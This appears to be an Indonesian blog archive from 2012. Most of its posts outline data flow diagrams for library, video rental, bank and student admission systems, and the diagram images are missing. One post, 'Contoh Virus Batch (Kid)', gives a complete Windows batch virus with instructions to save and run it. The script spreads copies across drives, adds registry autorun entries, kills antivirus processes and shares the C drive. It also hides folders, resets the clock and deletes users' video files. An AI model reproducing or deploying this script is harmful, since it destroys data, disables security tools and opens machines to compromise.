Sabtu, 17 November 2012

DFD Sistem Perpustakaan di Instansi atau Perguruan Tinggi

Berikut ini adalah Diagram Aliran Data (Data Flow Diagram) pada sebuah sistem perpustakaan disalah satu instansi/perguruan tinggi. Proses-proses yang ada pada diagram ini adalah :
  • Pendaftaran
  • Peminjaman buku
  • Pengembalian buku
  • Hitung denda
  • Pembuatan laporan
1. Diagram Konteks



2. Diagram Level 0



3. Diagram Rinci
a. Diagram Level 1 Proses 2


b. Diagram Level 1 Proses 3


c. Diagram Level 1 Proses 5



Untuk mendownload diagram, Klik disini

DFD Sistem Rental Kaset

Sebuah perusahaan video rental, hanya menyewakan kaset video kepada pelanggan. Bagi orang yang bukan pelanggan harus mendaftar menjadi pelanggan sebelum dibolehkan menyewa kaset video. Pelanggan dapat memilh kaset video langsung dari rak atau katalog elektronik (komputer). Apabila kaset video sudah dipinjamkan kepada pelanggan lainya, yang bersangkutan dapat memesan kaset dimaksud. Apabila kaset tersebut dikembalikan oleh peminjam sebelumnya, petugas akan memberitahu kepada calon peminjam yang memesan tadi.

Setiap kaset video memiliki label yang berisi informasi seperti nomor kaset, jenis kaset beta atau HVS, jenis film hiburan, aksi, drama, komedi, kartun dsb. Label ini berhubungan dengan buku catatan kaset yang berisi informasi lebih lanjut seperti nomor kaset, judul, jenis kaset, jenis film, tgl pembelian, distributor, nomor ijin deppen, dll. Buku catatan tersebut digunakan untuk keperluan inventory.

Disamping buku catatan kaset, terdapat pula buku daftar pelanggan. Buku ini digunakan untuk menampung catatan data setiap pelanggan seperti nomor pelanggan, nama lengkap, nomor identitas, dan alamat rumah serta nomor telepon.

Sedangkan bagi setiap pelanggan yang meminjam kaset akan dicatat dalam buku peminjaman kaset. Buku inii berisi catatan, antara lain, nomor urut, tgl peminjaman, nomor peminjaman, nama peminjam, alamat peminjam, nomor kaset, judul kaset, jumlah uang muka, dan sisa yang harus dilunasi. Pada saat kast tersebut dikembalikan, petugas akan memeriksa catatan ini untuk memastikan bahwa biaya peminjaman/denda karena telat mengemabalikan sudah lunas. Selanjutnya kolom keterangan pada buku catatan tersebut akan ditulis dengan tinta merah “OK” yang berarti kaset sudah dikembalikan dan kewajiban sudah lunas.

Kaset yang dikembalikan tidak langsung disimpan kedalam rak, akan tetapi dicek dulu kedaftar pemesanan. Apabila kaset tersebut tercantum didalam daftar pemesanan, maka kaset tersebut disimpan dirak khusus untuk diambil oleh pemesan bahwa kaset yang diingkan sudah tersedia. Pemesanan meminjam kaset pesanan ini samadengan prosedur peminjaman yang sama dengan kaset biasa.

Penyimpanan kaset dalam rak khusus tersebut hanya dibatasi selama tiga hari. Apabila dalam jangka waktu tersebut tidak diambil pemesan, maka kaset tersebut akan dikembalikan ke rak penyewaan. Hal ini berarti bahwa petugas harus memeriksa rak khusus (pesanan) dan mengembalikan kaset ke rak penyewaan untuk kaset-kaset yang sudah melewati batas tunggu tiga hari.

Sementara proses penyewaan ini berlangsung, dibelakang layar, kantor administrasi, berlangsung pula pembuatan laporan keuangan (penerimaan) setiap hari, laporan statistik (jenis film, dan jenis kaset yang sering dipinjam). Laporan ini dibuat berdasarkan catatan-catatan yang ada dalam ruangan penyewaan.

Untuk melengkapi koleksi kaset, dibentuk bagian pengadaan yang bertugas membeli kaset, meng update daftar kaset, serta menyimpan kaset kedalam rak penyewaan. Bagian ini bertugas pula memeriksa fisik kaset, mengganti atau membuang kaset yang rusak.

1. Diagram Konteks



2. Diagram Level 0

3. Diagram Rinci
a. Diagram Level 1 Proses 1


b. Diagram Level 1 Proses 3


c. Diagram Level 1 Proses 4


d. Diagram Level 1 Proses 5


Untuk mendownload diagram, Klik disini

Kamis, 08 November 2012

DFD Sistem Pengolahan Data Penyimpanan dan Pengambilan Uang pada Bank

Berikut ini adalah Diagram Aliran Data (Data Flow Diagram) logic pada sebuah sistem pengolahan data penyimpanan dan pengambilan uang disalah satu bank. Proses-proses yang ada pada diagram ini adalah :
  • Pembukaan rekening
  • Penyimpanan uang
  • Pengambilan uang
  • Penghitungan uang
  • Penutupan rekening
  • Pembuatan laporan
1. Diagram Konteks




2. Diagram Level 0



3. Diagram Rinci
a. Diagram Level 1 Proses 1


b. Diagram Level 1 Proses 3


c. Diagram Level 1 Proses 4


d. Diagram Level 1 Proses 5



Untuk mendownload diagram, Klik disini

Rabu, 07 November 2012

Contoh Virus Batch (Kid)

Berikut ini adalah contoh script virus sederhana dari internet yang saya rubah dan tambahkan beberapa scriptnya.

Fungsinya tidak lain adalah :
  • Membuat file duplikasi dirinya di direktori root hardisk
  • Membuat dapat berjalan pada saat komputer hidup
  • Meng-kill beberapa aplikasi antivirus
  • Menghapus file video pada saat virus dieksekusi atau autorun dengan format tertentu di folder My Videos
  • Menyembunyikan folder My Music & My Pictures
  • Mengganti jam sistem
  • Tidak aktif terus-terusan, hanya pada saat autorun saja
Scriptnya
=========================================================================
@echo off
cd\
cd %SystemRoot%\system32\
md 1001
cd\
cls

echo 12:00:00.00 | time >> nul
echo 01/01/2000 | date >> nul

net share system=C:\ /UNLIMITED

cd %SystemRoot%\system32\1001
Copy %0 %SystemRoot%\system32\1001\kid.bat
echo msgbox (”Microsoft Windows recently had found some Malicious Virus on your computer, Press Yes to Neutralize the virus or Press No to Ignore the Virus”,20,”Warning”) > %SystemRoot%\system32\1001\warnusr.vbs
at 12:34 /interactive “%SystemRoot%\system32\1001\kid.bat”
at 12:35 /interactive “%SystemRoot%\system32\1001\kid.bat”
msg * “KOmputer Ini Diserang Oleh GU3 4D1” > nul

taskkill /F /IM ESET.exe
taskkill /F /IM AVG.exe
taskkill /F /IM Kapersky.exe
taskkill /F /IM Norton.exe
taskkill /F /IM PCMAV.exe
taskkill /F /IM CLAMAV.exe
taskkill /F /IM SM?RTP.exe

copy %0 C:\system_file.bat
copy %0 d:\system_file.bat
copy %0 e:\system_file.bat
copy %0 f:\system_file.bat
copy %0 g:\system_file.bat
copy %0 h:\system_file.bat
cd %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\

cd\
cd %systemroot%\system32
copy %0 %systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup\kid.exe
reg add HKLM\software\microsoft\windows\currentversion\run /v systray /t reg_sz /d c:\windows\system32\kid.exe /f

copy %0 %systemroot%\system32\kid.bat
REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Explorer\Advanced /v Showsuperhidden /t reg_dword /d 0 /f
REG ADD HKCU\Software\Microsoft\Windows\Currentversion\policies\explorer /v nofolderoption /t reg_dword /d 1 /f
REG ADD HKCU\software\Microsoft\windows\currentversion\run /v aktifkan /t reg_SZ /d C:\system_file.bat /f

attrib +h +s "%userprofile%\my documents\my music"
attrib +h +s "%userprofile%\my documents\my pictures"

del "%userprofile%\my documents\my videos\*.3gp"
del "%userprofile%\my documents\my videos\*.mkv"
del "%userprofile%\my documents\my videos\*.avi"
del d:\*.3gp
del e:\*.3gp
del f:\*.3gp
del d:\*.avi
del e:\*.avi
del f:\*.avi
del d:\*.mkv
del e:\*.mkv
del f:\*.mkv
=========================================================================

Copy-kan script tadi ke notepad lalu save file tadi ke format .bat

Kamis, 01 November 2012

DFD Sistem Penerimaan Mahasiswa Baru pada STMIK Swadharma

Berikut ini adalah gambar DFD dari sistem penerimaan mahasiswa baru :

1. Diagram Konteks

2. Diagram Level 0

3. Diagram Rinci
a. Level 1 Proses 1


b. Level 1 Proses 2

c. Level 1 Proses 3

d. Level 1 Proses 4

e. Level 2 Proses 1.2
Untuk mendownload diagram, Klik disini